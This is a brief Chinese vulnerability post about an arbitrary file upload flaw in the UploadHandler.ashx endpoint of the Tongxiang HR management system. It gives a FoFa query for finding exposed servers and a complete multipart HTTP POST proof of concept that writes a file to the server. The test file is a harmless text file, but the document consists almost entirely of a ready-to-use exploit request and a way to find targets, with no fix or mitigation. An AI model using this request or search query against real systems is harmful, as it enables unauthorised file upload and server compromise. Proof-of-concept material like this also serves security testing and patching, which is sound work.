同享人力资源管理系统UploadHandler.ashx接口存在任意文件上传

同享人力资源管理系统UploadHandler.ashx接口存在任意文件上传漏洞。

 FoFa语句：

body="/Assistant/Default.aspx"

POC：

POST /Handler/UploadHandler.ashx?folder=Uploadfile2 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 185
Content-Type: multipart/form-data; boundary=1a875087c9e440c032415f9a589cd3a3

--1a875087c9e440c032415f9a589cd3a3
Content-Disposition: form-data; name="Filedata"; filename="266137.txt"
Content-Type: text/plain

189745325
--1a875087c9e440c032415f9a589cd3a3-